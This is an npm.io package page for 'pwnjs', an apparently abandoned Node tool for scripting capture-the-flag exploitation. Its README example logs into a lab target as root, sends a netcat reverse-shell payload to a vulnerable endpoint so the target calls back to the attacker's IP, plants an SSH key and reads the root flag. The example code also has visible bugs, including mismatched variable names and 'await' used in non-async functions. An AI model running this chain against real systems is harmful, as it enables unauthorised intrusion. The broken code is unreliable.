# pwnjs

> **payload.js** ```javascript module.exports = async ({ request, payloads, keys, nc, log, createCookieJar, step, }) => { const myip = '10.10.10.13'; const targetip = '10.10.10.15'; const cookies = createCookieJar(); const sshKey = awa

Latest version **0.1.0** (published 2019-09-16) · ISC license · 0 weekly downloads

## Install

```sh
npm install pwnjs
pnpm add pwnjs
yarn add pwnjs
bun add pwnjs
```

Provides the command `pwnjs`.

## Health

**Score 15/100 (F)** — status: abandoned.

Positive: no vulnerabilities.

Warnings: low downloads; no types; no esm support; pre 1.0.

Negative: abandoned; low maintenance score.

## Facts

| | |
|---|---|
| Version | 0.1.0 |
| Published | 2019-09-16 |
| First published | 2019-09-16 |
| Weekly downloads | 0 |
| License | ISC |
| TypeScript types | none |
| Module format | CommonJS |
| Dependencies | 9 |
| Unpacked size | 17.8 KB |
| Known vulnerabilities | 0 (+27 in 3 direct dependencies) |
| Install scripts | no |
| Maintainers | mortenolsen |

## Links

- npm: https://www.npmjs.com/package/pwnjs
- npm.io page: https://npm.io/package/pwnjs

## Dependencies (9)

- [ssh2](https://npm.io/package/ssh2.md) ^0.8.5
- [axios](https://npm.io/package/axios.md) ^0.19.0
- [express](https://npm.io/package/express.md) ^4.17.1
- [signale](https://npm.io/package/signale.md) ^1.4.0
- [fs-extra](https://npm.io/package/fs-extra.md) ^8.1.0
- [commander](https://npm.io/package/commander.md) ^3.0.1
- [tough-cookie](https://npm.io/package/tough-cookie.md) ^3.0.1
- [eventemitter3](https://npm.io/package/eventemitter3.md) ^4.0.0
- [axios-cookiejar-support](https://npm.io/package/axios-cookiejar-support.md) ^0.5.0

## Recent versions

- 0.1.0 (latest) — 2019-09-16

## README

## Example

**payload.js**
```javascript
module.exports = async ({
  request,
  payloads,
  keys,
  nc,
  log,
  createCookieJar,
  step,
}) => {
  const myip = '10.10.10.13';
  const targetip = '10.10.10.15';
  const cookies = createCookieJar();
  const sshKey = await keys();

  step('login', async () => {
    await axios.post(`http://${targetip}/login`, {
      username: 'root',
      password: 'foobar',
    }, {
      jar: cookies,
    });
  })
  
  step('add ssh keys', () => {
    const ncPayload = payloads.nc(myip);
    const ncSession = ncPayload.connect();
    await request.post(`http://${targetip}/vulnerable-endpoint`, {
      payload: ncPayload.payload,
    }, {
      jar: cookies,
    });
    await ncSession.addSSHKey(sshKey);
    ncSession.end();
  });

  step('login to ssh', () => {
    const sshSession = sshKey.connect(targetIp, 'root');
    const flag = sshSessionn.exec('cat /root/root.txt');

    log.info('Got flag', flag);
  });
};
```

`pwnjs run payload.js --verbose`

---
_Source: https://npm.io/package/pwnjs · Machine-readable twin of the npm.io package page. Health data is recomputed on every publish._
